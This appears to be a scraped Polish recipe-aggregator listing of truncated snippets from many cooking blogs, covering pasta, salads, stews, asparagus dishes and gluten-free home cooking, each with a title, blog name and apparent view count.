recipe for a quick dinner - ?  Znajdziecie go Tu . Ten sam młody, kreatywny kucharz z którym mam okazję pracować, zrobił obiad w 15 minut. Pyszną pastę z sosem bolońskim na sposób Josha.  Zapraszam Was na ekspresowy przepis. Będziemy potrzebować  200 gram mielonego mięsa wołowego 1 kieliszek dobrego czerwonego wina 1 puszka pomidorów (300g) 1 sporą papryczkę chili

Piekarz-Kucharz-Garkotłuk
zupa ze smardzami i wieprzowiną 199

smażyć, faszerować. Przed obróbką należy je dokładnie wypłukać, a przed smażeniem, czy duszeniem należy je moczyć w wodzie lub sparzyć wrzątkiem, wodę z moczenia można wykorzystać do zup lub sosów. Zupy nie można nazwać ze smardzów, gdyż miałam tylko 3 sztuki, co prawda bardzo duże, ale są tylko jednym ze składników tej zupy. Do przygotowania zupy ze smardzami, która jest

Damsko-męskie spojrzenie na kuchnię
Zawijasy drożdżowe ze szpinakiem 288

góry. Pieczenie – piec w nagrzanym piekarniku do 180 C przez 20 minut. Takie zawijasy są pyszne, możecie potraktować je jak mini pizze. Podałam te zawijasy z moim sosem Adżika patrz Ormiańska Adżika Polecam

Kuchnia Pokoleń
Makaron z tuńczykiem 224

Składniki dwie garści makaronu pełnoziarnistego - rurki kilka pieczarek puszka tuńczyka w oleju pęczek natki pietruszki sól, pieprz, tymianek, estragon łyżeczka octu jabłkowego sos sojowy creme do dekoracji Przygotowanie Makaron ugotować w osolonej wodzie ok 10 min. Pieczarki obrać, pokroić i podsmażyć na łyżce oleju, dodać tuńczyka.  Ugotowany makaron dodać do tuńczyka z grzybami, przyprawić do smaku solą, pieprzem, tymiankiem

Gaździnka warzy
Kolorowa pieczeń z mięsa mielonego 198

Zielona i czerwona papryka, a także żółty ser nadają niepowtarzalny urok tej potrawie. Podobnie, jak jest w przypadku pieczeni rzymskiej , kolorowa pieczeń może być podana jako danie główne z sosem, albo jako przystawka. Jeśli potrzebujecie ostrych noży do kuchni, powinniście sprawdzić je w tym sklepie. Film Składniki 700 g mięsa mielonego z łopatki 1 cebula 3 ząbki czosnku 8 łyżek

Kuchennyviral.pl
Pierś z kurczaka w pesto 192

pracy i odgrzać sobie choćby w mikrofali. Pierś z kurczaka w pesto można podawać do sałatek, na rukoli i etc. Przepis jest propozycją dla osób uwielbiających zielone pesto, czyli sos pochodzący z Genui (Liguria) we Włoszech, którego głównym składnikiem jest bazylia. Film Jeśli potrzebujecie ostrych noży do kuchni, powinniście sprawdzić je w tym sklepie. Składniki na pierś z kurczaka

Kuchennyviral.pl
Klopsiki z kaszą jaglaną 172

wersji fit , a smakują one całej rodzinie i nie muszę gotować "na dwa gary". Takie właśnie są klopsy z kaszą jaglaną . Pyszne, mięciutkie i aromatyczne- zanurzone w pysznym kremowym sosie. Danie najlepiej smakuje podane z makaronem . Składniki: 50 dag mięsa mielonego z indyka 1/2 szklanki kaszy jaglanej jajko 1 cytryna 2 cebule 3 ząbki czosnku  1/2 łyżeczki cynamonu

Pobite gary Barbary
Szparagi zapiekane z serem. 735

tych okoliczności mamy też sezon szparagowy w pełni, czego po prostu nie można nie wykorzystać. Chociaż zgodzę się z każdym, kto powie, że proste szparagi z wody z dodatkiem sosu holenderskiego są daniem doskonałym, to jednocześnie przekonywał będę do wypróbowania zapiekanej wersji tego pysznego warzywa. Niejednokrotnie udowadnialiśmy, że forma zapiekanki ma mnóstwo zalet. Przede wszystkim jest to wygoda przygotowania

zadanie-gotowanie
Greckie pierożki ze szpinakiem i serem feta 192

jest spanakopita, czyli lazania z ciasta filo z nadzieniem ze szpinaku i sera feta. Lazania jest równie pyszna, ale pierożki świetnie sprawdzą się jako imprezowa zakąska. Podawałam je z sosem słodkie chili. Były bardzo smaczne i niesamowicie chrupiące... Składniki: nadzienie: szpinak 200 g, cebula pół szt, ser feta 100 g, czosnek 2 ząbki, sól i pieprz do smaku, olej

kulinarne odsłony pati
Pierś indyka z piekarnika. 1847

lekko posolonej włoszczyzny w paskach. Wszystko polewamy 5 łyżkami oleju roślinnego i wstawiamy do piekarnika. Pieczemy 30-40 min. / 200 st. C. Podajemy na gorąco, mięso, warzywa i sos. Można serwować z ryżem,makaronem, ziemniakami. Smacznego

chleba naszego
CALZONE 152

Ciasto zostawiamy do wyrośnięcia w misce przykrytej ściereczką na ok.30-40 minut. Gotowe wykładamy na stolnicę, lekko wyrabiamy, dzielimy na 4-5 części, każdą rozwałkowujemy na kształt koła, można posmarować sosem (łyżka przecieru+2 łyżki ketchupu+łyżeczka ziół prowansalskich+łyżka wody), na połowę nakładamy szynkę, starte pieczarki, pokrojone pomidory, posypujemy kukurydzą i startym sterem, składamy na pół i dobrze sklejamy-zawijamy

KUCHNIA POLSKA
Pierogi leniwe czyli ratujmy klasykę. 207

maśle, i gdy lekko ostygnie, dodaję cukier waniliowy. Jego ilość zależy jaka słodycz nam pasuje. Do wyboru do koloru, ja w starych swoich przepisach zaszalałam i podałam z sosem i wiórkami kokosowymi o czym można przeczytać  TU  i  TU  . Smacznego

Dieta moja pasja
Letnie gofry 215

miski, dodać posiekane listki mięty. Miód, sok z cytryny i ekstrakt dokładnie wymieszać. Polać owoce, delikatnie połączyć, odstawić. Ciepłe gofry podawać z lodami i sałatką owocową, polane powstałym sosem. Smacznego! Moje psy udały się na popołudniową drzemkę. Poważnie rozważam pójście ich śladem

Pożeraczka, czyli raz adobrze
Jaglanka z bananem i sosem orzechowo-klonowym 140

kiedy odkryłem sos zrobiony z masła orzechowego, syropu klonowego i soku z cytryny zaczął się pojawiać na moim stole regularnie. Zwłaszcza na śniadania w towarzystwie jaglanki, do której bardzo pasuje oraz owoców sezonowych. A kiedy sezonu nie ma to banana, jabłka lub mango

Milion Smaków
SZYBKA SAŁATKA Z RYŻEM I TUŃCZYKIEM 235

zabrać ją w pudełku do pracy. Sałatka jest bardzo sycąca i delikatna w smaku. Polecam wszystkim miłośnikom tuńczyka :) Składniki: * woreczek ryżu * 1 puszka tuńczyka w sosie własnym * 1 puszka  groszku * 4-5 ogórków konserwowych * 5 jajek ugotowanych na twardo * 2 łyżki majonezu * 1 łyżeczka musztardy ostrej * sól i pieprz do smaku Wykonanie: Ryż ugotować al dente w osolonej wodzie

Zrób to smacznie
Faszerowane pieczarki na grilla 295

sałatki.  Trzeba jednak pamiętać, że surowe pieczarki są ciężkostrawne. W kuchni możemy je przyrządzić na tysiąc sposobów. Te grzyby mają ogromny potencjał kulinarny. Ugotujemy z nich zupy, kremy, sosy. Możemy je smażyć, dodawać do duszonych mięs i warzyw, do różnych past i faszerować nimi jajka. Możliwości jest bez liku. Jedzmy więc i doceniajmy pieczarki ! Na blogu znajdziecie

Kulinarne przygody Gatity
Makaron ze szpinakiem i orzechami 213

szpinakiem i orzechami ;) To wszystko przez oczekiwanie na świeży, rosnący na grządkach szpinak do sałatek... Makaron ze szpinakiem i orzechami Składniki: makaron ryżowy  opakowanie mrożonego szpinaku w sosie śmietanowym  2 ząbki czosnku garść orzechów włoskich świeże listki bazylii czarne oliwki Przygotowanie: Makaron ryżowy przygotowujemy tak jak jest napisane na opakowaniu, czyli zalewamy go gorącą wodą i zostawiamy

Lawendowe Niebo
Tarta ze szparagami 269

szparagi i poszarpaną szynkę parmeńską. Tartę piec w temperaturze 160 stopni około 45 minut (do ścięcia się masy) U nas zawsze tarty jemy z sałatką z roszponki, do której sos znajdziecie TUTAJ

Ania i Marcin gotują
Serowo-szparagowy makaronik 170

ponad grunt, białe natomiast dojrzewają przysypane ziemią. Uważane za afrodyzjak, z całą pewnością są źródłem świetnego smaku i niepowtarzalnych kulinarnych doznań. Dzisiaj proponuję makaron z dodatkiem szparagów w kremowy sosie, na bazie gorgonzoli, dojrzewającego miękkiego sera z pleśnią, pochodzącego z północnych Włoch, a konkretnie z rejonu Lombardii. Czytaj więcej

Pichceniomania
Greckie souvlaki 192

Tradycyjne greckie szaszłyki robione z różnych rodzajów marynowanego mięsa. Podawane są samodzielnie z greckim sosem tzatziki i np. grillowanymi warzywami lub w chlebkach pita. Wyśmienite a jakie proste! Składniki: 300 g piersi z kurczaka lub polędwicy wołowej lub wieprzowej marynata: łyżeczka suszonego oregano                  1/2 łyżeczki suszonego tymianku

wyzwania kuchenne
OMLET ZE SZPARAGAMI I PSTRĄGIEM 151

jaja.  Na rozgrzaną patelnię dodaj łyżkę masła i łyżkę oliwy. Smażymy omleta na złoty kolor, z każdej strony. Przekładamy szparagami, mozzarellą, pstrągiem.  Posypujemy posiekanymi oliwkami i polewamy sosem z patelni po szparagach. Dodajemy na wierzch gałązkę tymianku. Gotowe

SMYKWKUCHNI
Dietetyczny bigos z kurczakiem 166

się moczyły. Duś pod przykryciem jakieś 5 minut. Dodaj resztę składników, w tym wino. Dosmacz solą, przemieszaj i przykryj. Duś całość pod przykryciem na małym ogniu około godziny. Jeśli sos odparuje podlej w razie potrzeby odrobiną wody. Godzina powinna wystarczyć. Mieszajcie od czasu do czasu. Chudy bigosik gotowy

Z Kuchni Do Kuchni
Szaszłyki z marynatą słodka papryka z ziołami 214

łyżki marynaty i wymieszałam. Na wykałaczki nakładałam po kolei mięso i warzywa. 3. Piekarnik nagrzałam do 180 stopni. Szaszłyki piekłam około 30 minut. Po upieczeniu możemy podać z ulubionym sosem :-). Smacznego

kruche babeczki
Sałatka z selerem naciowym i tuńczykiem 378

Seler znany z tego, że ma bardzo dużo witamin lubię w różnych sałatkach, tym razem z tuńczykiem.  Składniki: puszka tuńczyka w puszce w sosie własnym 4-5 łodyg selera naciowego 1/2 puszki kukurydzy konserwowej 1 cebula (ja dałam czerwoną) sól, pieprz majonez Selera naciowego oczyścić z włókien i pokroić na półplasterki lub drobniej jeśli są duże łodygi. Cebulę obrać

talerz przyjemności
Halibut duszony w warzywach 188

małym ogniu dusiłem 12 minut pod przykryciem. Wyjąłem rybę, umieściłem na półmisku, trzymałem w cieple. Śmietanę połączyłem z warzywami, doprawiłem solą, pieprzem, cukrem oraz sokiem z cytryny. Tak przygotowanym sosem zalałem rybę. Podałem z młodymi ziemniakami z koperkiem

R'n'G Kitchen
Sernik Pina Colada (Ananas i kokos) 214

mojego męża. Przepis, który wam chcę dzisiaj zaprezentować jest kolejnym moim autorskim. Otwierając szafkę z przetworami zauważyłam puszkę z ananasem, którą jakiś czas temu kupiłam z myślą o ananasowym sosie. No cóż jak widać kompletnie o niej zapomniałam i pomyślałam, że wykorzystam ją do mojego sernika. Przyznam się wam, że wielkim fanem ananasa nie jestem, bo przeważnie kojarzy mi się

vaniliowoczekoladowa
KOLOROWE TABBOULEH Z QUINOA 205

kostkę. Cebulę obierz i drobno posiekaj. Umyte i osuszone listki mięty drobno posiekaj (odłóż kilka listków do dekoracji). Delikatnie wymieszaj w misce przestudzoną komosę ryżową z pozostałymi składnikami. Wlej sos winegret z soku z owocu granatu, cytryny i oliwy do sałatki, delikatnie wymieszaj. Podawaj tabouleh na talerzykach lub w miseczkach posypane z wierzchu ziarenkami granatu

Smaki Francji współczesna kuchnia francuska
Pierogi z kaszą manną – kuchnia podkarpacka 221

bardzo smaczne regionalne specjały. Wymienię chociażby ryziok, kapuśniaczki czy młodą kapustę… Pierogi z kaszą manną babcia podawała nam okraszone masłem, jednak pasuje do nich również słodka śmietana lub sos owocowy. Jeśli macie swój ulubiony przepis na ciasto pierogowe, skorzystajcie z niego. Ja podaję taki, z którego ciasto wychodzi elastyczne i miękkie, dzięki czemu łatwo jest nadziewać je delikatnym farszem. Pierogi

Trzeci talerz
Kotleciki rybne z sosem chilli 168

przygotowania takich pysznych kotlecików możecie wykorzystać właściwie każdą białą rybę. U mnie był sandacz, ale równie dobrze pasowałby np. dorsz. Dodatek kolendry i sosu chilli nadaje im nieco orientalnego posmaku - takiego jak lubię! Ciasto jest zwarte więc nie obawiajcie się problemów ze smażeniem

Milion Smaków
Wołowina pieczona z suszonymi pomidorami i cebulą 175

nagrzanym do 160 stopni C piekarniku przez 60 minut. Po tym czasie zdjąć pokrywkę i piec jeszcze około 30 minut w temperaturze 170 stopni C, jeśli chcemy, aby powstał sos, to wlać do wołowiny 300 ml gorącego bulionu lub wody. Przed wyjęciem z piekarnika sprawdzić widelcem stan upieczenia mięsa i ziemniaków, jeśli są mało przyrumienione, to zwiększyć temperaturę

Kuchcik gotuje
Szaszłyki z kurczaka w marynacie limonkowej z curry. 205

połączeniem na patyczkach kurczaka z kawałkami mango (byłoby jeszcze bardziej owocowo), ale w końcu zwyciężyła wersja warzywna - można powiedzieć: zrównoważona. Szaszłyki w takim wydaniu domagają się towarzystwa jogurtowego sosu. Myślę, że jest on wręcz niezbędny - z kilkoma kroplami oliwy i szczyptą ulubionych ziół będzie stanowił świetny kontrast smakowy. Barwny oczywiście również. Składniki: 500 g piersi z kurczaka 1 duża czerwona

zadanie-gotowanie
KURCZAK CURRY W MLECZKU KOKOSOWYM (keto, LCHF, paleo, optymalny, bez glutenu i laktozy) 313

zamarynowane mięso pod przykryciem i piecz 40 minut. Następnie zalać mleczkiem kokosowym i piec bez przykrycia przez kolejne 20 minut do momentu aż mięso będzie miało zarumienioną skórkę a sos zgęstnieje. Idealnie komponuje się surówkami ze świeżych warzyw. — BTW całości: 1700g, 3067 kcal, B 178 g, W 32 g T 247 g. W 100 g: 180 kcal

Ola la LCHF
SZASZŁYKI NA GRILLA. SAŁATKA DO DAŃ Z GRILLA. 189

grillu, bądź na płycie grillowej w domu. Szaszłyki są bardzo soczyste, mięso mięciutkie i obłędnie smaczne! Podane z kolorową, chrupiącą i zdrową sałatką i kaszą pęczak z zielonym sosem. Danie jest bardzo proste i jest świetnym pomysłem na obiad dla całej rodziny, bądź na spotkanie ze znajomymi. PRZEPIS NA SZASZŁYKI NA GRILLA - 1- 1,5 kg mięsa od żeberek

SMYKWKUCHNI
Pomidorowe ćwiartki z kurczaka na gotowanym ryżu 683

ryżu 1 kg ćwiartek z kurczaka 2 małe cukinie 1 mała puszka kukurydzy MARYNATA: 2 cebule 1 1/2 szklanki przecieru pomidorowego 2 ząbki czosnku 1 łyżka miodu 2 łyżki sosu sojowego 1/2 łyżeczki mielonej słodkiej papryki 4 łyżki oleju rzepakowego sól pieprz czarny Cebule pokroić w piórka, czosnek rozgnieść i połączyć z pozostałymi składnikami marynaty. Ćwiartki z kurczaka oczyścić pozbywając

https:KKuchniaMniam
Sałatka z gotowanym kurczakiem i gorgonzolą 260

śmietaną i majonezem. Doprawiamy do smaku solą i pieprzem. Na spód miski wykładamy sałatę, na nią wymieszaną paprykę z kukurydzą i fasolą. Na wierzch układamy plastry kurczaka, polewamy sosem i posypujemy kiełkami

Qchnia po prostu
placki warzywne z kaszą gryczaną 223

wystarczająco spójne należy dodać więcej mąki. Placuszki możemy potraktować jako samodzielne danie na obiad lub kolację ale także, jako przekąska do pracy. Idealnie będą smakować z ulubionym sosem

Gar Zdrowia
Pizza z cukinią i szparagami 180

Całość oprószyć ziołami prowansalskimi i solą. Wstawić do piekarnika nagrzanego do 180*C i piec 25-30 minut. Po upieczeniu posypać startym parmezanem i od razu podawać z ulubionym sosem

Kolorowa kuchnia Elki
Aromatyczny szisz kebab – szybkie danie na grilla! 389

chce się dobrze kleić, można dodać jedno jajko. Aby usprawnić lepienie mięsa, zamocz ręce w zimnej wodzie.   Zobacz również: Marynowana cebula – do mięs i na grilla Ziołowy sos pomidorowy z cukinii Sprytna kuchnia: patyczki do szaszłyków Szaszłyki caprese Drobiowe szaszłyki z miodem i serem Hiszpańskie tapas: sałatka z oliwkami i grejpfrutem Szisz kebab: wołowina na grilla

MarcinChef
Mięso pieczone 202

przyrządzanie mięsa. Jedne są lepsze, inne mniej. Jednak ta należy do recepturek z górnej półki. Dlaczego? Pierwsze primo 😉 , mięso zrobione tym sposobem jest bardzo wilgotne. Nie potrzeba do niego sosu. Drugie primo 😉 , można je jeść na zimno do kanapek, lub na gorąco jako drugie danie. Trzecie primo 😉 każdy kto spróbował mojego mięsa chce przepis. Potrzebujemy: Czytaj więcej

Tylko pysznie
Ośmiornica w czerwonym winie 161

smaku i dusimy, uzupełniając płyny wodą. Kiedy ośmiornica jest juz dostatecznie miękka po ok 30-40 min zestawiamy z ognia i gotujemy makaron, Odcedzony bez płukania dodajemy do sosu i mieszamy. oddajemy posiekane oregano i natkę pietruszki. Podajemy bezpośrednio na talerze

Gotowanie jest łatwe
Tureckie pide ze szparagami 188

następnie posypujemy żółtym serem i odstawiamy na ok 15 min do wyrośnięcia, Piekarnik nagrzewamy do 180 st i zapiekamy placki przez ok 25-30 min. Podajemy placki z różnymi sosami (pomidorowy, czosnkowy

Gotowanie jest łatwe
Kotlety mielone z czerwonym pesto 209

jest zbyt luźna możemy dodatkowo dosypać niewielką ilość bułki tartej. Formujemy kotlety, obtaczamy je w bułce i smażymy na rozgrzanym olej z obu stron. Warto z pozostałego pesto przygotować sos. Do garnka wlewamy około 300 ml bulionu, dodajemy pozostałe pesto ze słoika. W 100 ml słodkiej śmietany rozprowadzamy 1 łyżeczkę mąki. Dodajemy do bulionu z pesto. Zagotowujemy mieszając. Jeżeli istnieje

Smaki Ewy
Omlet ze szparagami i chili 178

szparagami Ciepła sałatka ze szparagów z fetą Risotto z białymi szparagami Zielone szparagi z sadzonymi jajkami Frittata ze szparagami Tagliatelle ze szparagami Makaron pełnoziarnisty ze szparagami Makaron z sosem szparagowym Tarta z zielonymi szparagami Tarta ze szparagami i pomidorami Tartaletki ze szparagami Szparagi gotowane na parze Pizza z zielonymi szparagami Zielona pizza ze szparagami Omlet ze szparagami i chili Proporcje

Kulinarne przygody Gatity
Rozkosznie chrupiące placki ziemniaczane 190

znam osoby, która by nie lubiła placków ziemniaczanych. Oczywiście, jedni wolą z sosem inni zaś na słodko. W moim domu, odkąd pamiętam, znikały w ilościach hurtowych. Jest z nimi sporo pracy, więc robiło się je raczej rzadko- stąd zapewne ten wzmożony na nie apetyt. Prawdą jest, że ich smak i konsystencja zależą nie tylko od sposobu przyrządzenia, ale także

Pichceniomania
SAŁATA LODOWA Z JAJKIEM 283

plastry, cebulę w półplasterki. Na talerz wykładamy sałatę lodową, układamy jajka i resztę składników. Do oleju lnianego dodajemy szczyptę soli i pieprzu, dodajemy też posiekany koperek, tak przygotowanym sosem polewamy sałatkę

Z Majeczką w kuchni
Gulasz mięsny z pak choi 221

Gulasz mięsny to obowiązkowe danie u nas przynajmniej raz w tygodniu. Gulasz mięsny czyli mięso w sosie jest smaczny i można go przyrządzić na wiele sposobów. Już choćby dodanie pak choi czy różnych ziół zmienia jego smak. W ten sposób powstaje nowa wersja gulaszu, a domownikom potrawa raczej nie ma prawa się znudzić. Nieważne jakie mięso użyjemy gulasz mięsny

codojedzenia
Schab z ziemniakami z piekarnika 350

temp. 150stC (czas pieczenia zależy od twardości mięsa - u mnie było gotowe po 1,5 godzinie). Przed podaniem można posypać posiekanym szczypiorkiem lub koperkiem. Podawać z ulubioną surówką albo sosem np. jogurtowym. Smacznego

Obiad gotowy
Sałatka śledziowa warstwowa 331

połowę kosteczek z jabłka,białą cebulę, jogurt zmiksowany z majonezem, doprawiamy solą i pieprzem. Mieszamy. Jabłko oraz żurawinę zasypujemy cukrem i smażymy do momentu aż owoce się rozpadną a sos zredukuje przynajmniej o połowę. Schładzamy. Owocową masę przelewamy do poszatkowanego buraka, dodajemy cebulę czerwoną,oliwę,sól i pieprz ziołowy do smaku. Mieszamy i odkładamy w salaterkach obydwie warstwy do lodówki

Z Kuchni Do Kuchni
Kotlety z jajecznicy 210

razie potrzeby i wyrobić dokładnie ręką masę. Formować na dłoni kotleciki, obtaczać w bułce tartej, smażyć na rozgrzanym maśle klarowanym z obu stron na złoty kolor. Super smakują z sosem majonezowym

Tradycyjna Kuchnia
KAPUŚNIAK Z MŁODEJ KAPUSTY Z POMIDORAMI i KASZĄ JAGLANĄ 364

śmietany, posiekanym koperkiem i podsmażonymi plasterkami chudej kiełbaski np. Lisieckiej. SKŁADNIKI / 4-6 porcji 500 g młodej kapusty 1,75 litra bulionu drobiowego lub wody (opcjonalnie z 3 łyżkami sosu sojowego) 2 młode marchewki 1 pietruszka 5 młodych ziemniaków 3 łyżki kaszy jaglanej 2 łyżki oliwy 1 cebula 1 ząbek czosnku 1/3 świeżej papryczki chili 1 szklanka passaty pomidorowej

cool and minty
Taszka - Petiscos, vinho i śpiew 160

Portugalia w sercu miasta! * Wnętrze Taszki. Wnętrze Taszki. Tost z tuńczyka z krem z awokado, sezamem, rzodkiewką i olejem z chili. Carpaccio z kaczki. Szaszłyki ze schabu w słodkim sosie, pikle. Krokiety z bacalhau (dorsza). Ośmiornica aguachile z awokado, piklami z szalotki, ogórkiem i olejem z habanero. Pica pau: karkówka, pikle, escabeche, chipsy warzywne. Peixinhos da horta: krewetki, fasola oraz

Food Square
Domowy pasztet wieprzowo-drobiowy ze słoika 269

wątróbką zmielić w maszynce do mięsa, użyć najdrobniejszego sitka. Można też użyć malaksera i zmiksować. Masę przyprawić solą, wędzoną papryką, majerankiem. Wlać whisky (lub brandy, koniak) i śmietanę. Dodać sos powstały podczas pieczenia mięsa. Wszystko razem dobrze wyrobić. Stopniowo dolewać mleka, aby masa była rzadsza, Powinna osiągnąć mniej więcej konsystencje bardzo gęstej śmietany. Masę przekładać do słoików, ubijając lekko

Codzienna kuchnia niecodzienna
Zielone szparagi zapiekane z szynką parmeńską 195

szparagami Ciepła sałatka ze szparagów z fetą Risotto z białymi szparagami Zielone szparagi z sadzonymi jajkami Frittata ze szparagami Tagliatelle ze szparagami Makaron pełnoziarnisty ze szparagami Makaron z sosem szparagowym Tarta z zielonymi szparagami Tarta ze szparagami i pomidorami Tartaletki ze szparagami Szparagi gotowane na parze Pizza z zielonymi szparagami Zielona pizza ze szparagami Zielone szparagi zapiekane z szynką parmeńska

Kulinarne przygody Gatity
Pieczona biała kiełbasa z cebulą 170

Składniki: 6 białych kiełbasek (surowych) 2 cebule Zalewa: 4 łyżki octu jabłkowego 1 łyżka sosu sojowego 2 łyżki ostrej musztardy 1 łyżeczka miodu 1 łyżka suszonego majeranku 1/2 łyżeczki pieprzu cayenne chrzan Sposób wykonania: Piekarnik nagrzewamy do 180°C. Surowe kiełbaski układamy w żaroodpornym naczyniu. Cebulę kroimy w piórka i posypujemy nią kiełbaski. W szklance mieszamy składniki zalewy i polewamy

Qchnia po prostu
Wołowe burgery z guacamole w brioszce 270

brioszce. Jeśli już przyrządzam domowe hamburgery to oczywiście pamiętam o dodatkach. Co powiecie na wołowe hamburgery z guacamole? Są po prostu przepyszne. Mój małżonek był zachwycony! Guacamole świetnie zastępuje sos i ser. Awokado bardzo dobrze współgra z wołowym mięsem. Nie myślałam, że tak przyrządzone hamburgery będą aż tak smaczne! Nie spróbujesz to nie wiesz! Hamburgery przyrządzam często, bo jest

codojedzenia
sałatka z makaronem, tuńczykiem i rukolą 190

składniki: 200 g makaronu kokardki lub penne 1 puszka tuńczyka w sosie własnym 4 łyżki czarnych oliwek bez pestek 1 mały słoiczek suszonych pomidorów w oliwie spora garść rukoli (lub więcej) 6 pomidorków koktajlowych wykonanie: Makaron gotujemy al dente. Odcedzamy, przelewamy zimną wodą i odstawiamy do ostygnięcia. Pomidorki koktajlowe kroimy w ćwiartki. Suszone pomidory kroimy na mniejsze kawałeczki. Makaron, pokrojone

Domowy Smak Jedzenia
Bezglutenowe kotlety gryczane 156

podania podsmażałam mocniej. Część kotletów tylko lekko podsmażyłam, żeby zachowały formę i zostawiłam na następny dzień do odsmażenia. A część zamroziłam na awaryjne, szybkie obiady:-)   Kotlety podałam z sosem pieczarkowym. Mąż wchłonął trzy za jednym posiedzeniem:-) Polecam, naprawdę fajna alternatywa dla zwykłego mielonego i ziemniaków:-) No i w dodatku wegetariańska.... Smacznego

Ze smakiem bez glutenu
Pomidory na zimę - passata 174

Przepis ten przetestowałam w zeszłym roku. Zrobiłam ok 10 słoiczków, które zjedliśmy piorunem.  Passata własnej roboty stanowi idealną bazę do różnego rodzaju sosów, do makaronu, do mięsa, do pomidorówki... A jej zrobienie zajmuje mniej czasu niż smażenie dżemów:-) Składniki: 3 kg pomidorów przemysłowych - duże, podłużne, mięsiste - niestety nie pamiętam jaki to gatunek, zdaje się, że lima 1 łyżka soli

Ze smakiem bez glutenu
Pomidory faszerowane mięsem mielonym i ryżem 183

dodatków - jest w nich i warzywo, i skrobia, i białko więc nic więcej nie było potrzeba. Można posypać tartym parmezanem albo świeżą bazylią. Smacznego😃 PS. Jeśli zostanie Wam trochę sosu to można go zużyć jako dodatek np. do placków ziemniaczanych czy z cukinii

Ze smakiem bez glutenu
Kurczak z ciecierzycą i pomidorami 178

się nie przypalił i dodać pomidory pokrojone w kostkę. Można pomidory obrać ze skórki lub użyć pomidorów pelati z puszki. Całość podsmażyć do momenty aż pomidory rozpadną się tworząc sos. Dodać zamarynowanego kurczaka i poddusić całość - można dodać 2-3 łyżki wody. Następnie dodać ciecierzycę i poddusić potrawę kilka minut do połączenia smaków. Doprawić do smaku solą. Podanie zależy

Ze smakiem bez glutenu
Papryka faszerowana mięsem i ryżem - na ostro 172

ostrości jaką chce się otrzymać Papryki wydrążyć wycinając gniazda nasienne, wyczyścić z ziarenek, skropić kilkoma kroplami oliwy. Ugotować ryż – może być lekko niedogotowany, wtedy lepiej wciągnie wodę z sosu. Na patelnię wlać olej, wrzucić cebulę pokrojoną w grubą kostkę i zeszklić. Pod koniec dodać całe ząbki czosnku – w duszeniu zmiękną i się rozpadną. Jeśli ktoś woli to można je przecisnąć

Ze smakiem bez glutenu
Orientalny gulasz z indyka 263

momentu aż indyk będzie miękki a marchewka będzie się rozpadać. Można opcjonalnie dodać ostrej pasty z papryki lub doprawić większą ilością mielonej ostrej papryki. Na koniec trzeba zrobić więcej sosu. Do kubka wlać o 100 ml zimnej wody i rozmieszać w niej 1/2 łyżki mąki kukurydzianej. Wlać mąkę do gotującego się gulaszu i szybko wymieszać. Pogotować chwilę nie dopuszczając

Ze smakiem bez glutenu
Żurawina do mięsa na zimę 146

Uwielbiam żurawinę w konfiguracji z mięsem. Doskonale smakuje jako dodatek do wszelkich pieczeni i wędlin oraz jako baza do sosów. Jej zrobienie zajmuje bardzo niewiele czasu i składników, ponieważ owoce doskonale i bardzo szybko żelują się. Składniki: (na 6 słoiczków 200 ml) 1 kg żurawiny 1 duże jabłko - najlepiej kwaskowate 500 g cukru 300 ml wody Żurawinę opłukać i przebrać

Ze smakiem bez glutenu
Gulasz wieprzowy z pieczarkami 213

garnka z cebulą i mięsem. Całość dusić do miękkości - ok 45 minut. W międzyczasie trzeba dolewać wody, która odparuje - najlepiej dolewać wodę gorącą. Gdy mięso będzie miękkie należy zrobić sos.  Na patelnię wrzucić dwie łyżki tłuszczu, rozpuścić i dodać mąkę. Podsmażyć do zrumienienia. Następnie na patelnię wlać 4 łyżki wody z gulaszu, dokładnie wymieszać mąkę i przełożyć zasmażkę

Ze smakiem bez glutenu
Placki ziemniaczane z szynką 183

rzadka. Na patelni rozgrzać tłuszcz. Łyżką nakładać masę - na jeden placuszek mniej więcej czubata łyżka masy. Lekko rozgnieść na patelni i smażyć na złoto z obu stron. Podawać z sosem czosnkowym/ chrzanowym lub śmietaną. Smacznego

Ze smakiem bez glutenu
Orzeźwiająca surówka z czerwonej kapusty 148

czerwonej kapusty można robić w kilku wersjach. Ja lubię tę, gdzie kapusta jest prawie miękka a całość jest lekko kwaśna i orzeźwiająca. Świetnie pasuje do wszelkich mięs z sosami. Składniki: ok. 1/4 średniej główki czerwonej kapusty 1 duże jabłko - najlepiej lekko winne 1 mała cebulka sól, cukier, pieprz ocet jabłkowy olej W sporym garnku zagotować wodę z łyżką cukru, płaską

Ze smakiem bez glutenu
Szybkie buraczki do obiadu 178

Takie buraczki to bardzo szybki sposób na warzywny dodatek do obiadu. Idealny szczególnie do mięsa z sosem, o słodko-kwaśnym smaku.  Składniki na 2 osoby: 2 średniej wielkości czerwone buraki sól, cukier, ocet jabłkowy, olej/ oliwa Buraki kupuję ugotowane - można je dostać w większości marketów a na pewno można je kupić na targu. Idealne rozwiązanie na zabiegane dni. Kupione

Ze smakiem bez glutenu
Prosta sałatka z ryżu i tuńczyka 187

ryżu z dodatkiem kukurydzy.  Świetna na imprezy, do pracy i na kolację. Sycąca, bogata w smaku i mało pracochłonna.  Składniki: 1 woreczek ryżu 1 puszka tuńczyka w sosie własnym - tuńczyk w kawałku, wiórków lepiej unikać bo wciągają bardzo dużo zalewy 1 puszka kukurydzy 2-3 łyżki majonezu sól 2 ząbki czosnku świeżego lub czosnek granulowany Ryż ugotować, odcedzić

Ze smakiem bez glutenu
Kluski z kaszy jaglanej i mąki kukurydzianej - bezglutenowe 221

Prosty przepis na kluski, które mogą być podawane jako dodatek do gulaszu czy sosu grzybowego lub na słodko - np. z twarożkiem.  Wykonanie zajmuje mniej więcej tyle samo czasu co wykonanie kopytek czy klusków śląskich.  Kluseczki  świetne na okres przeziębień i gryp - dzięki wspaniałym właściwościom kaszy jaglanej. Składniki: 1 szkl suchej kaszy jaglanej 150 ml mąki kukurydzianej

Ze smakiem bez glutenu
Warstwowa sałatka z jajek, tuńczyka, kukurydzy i szczypiorku 183

szczypiorkiem, który fantastycznie, wiosennie komponuje się z jajkami i nadaje lekkiej wyrazistości i ostrości całej kompozycji smakowej. Składniki: 6 dużych jajek 1 puszka kukurydzy 2 puszki tuńczyka - kawałki w sosie własnym 1 słoik dobrego majonezu 1 pęczek szczypiorku 150 g żółtego sera w kawałku - najlepszy jest ser twardy sól Jajka ugotować na twardo, wystudzić na zimno, obrać ze skorupek

Ze smakiem bez glutenu
Zapiekanka kalafiorowa z ziemniakami, szynką i twarogiem wędzonym 252

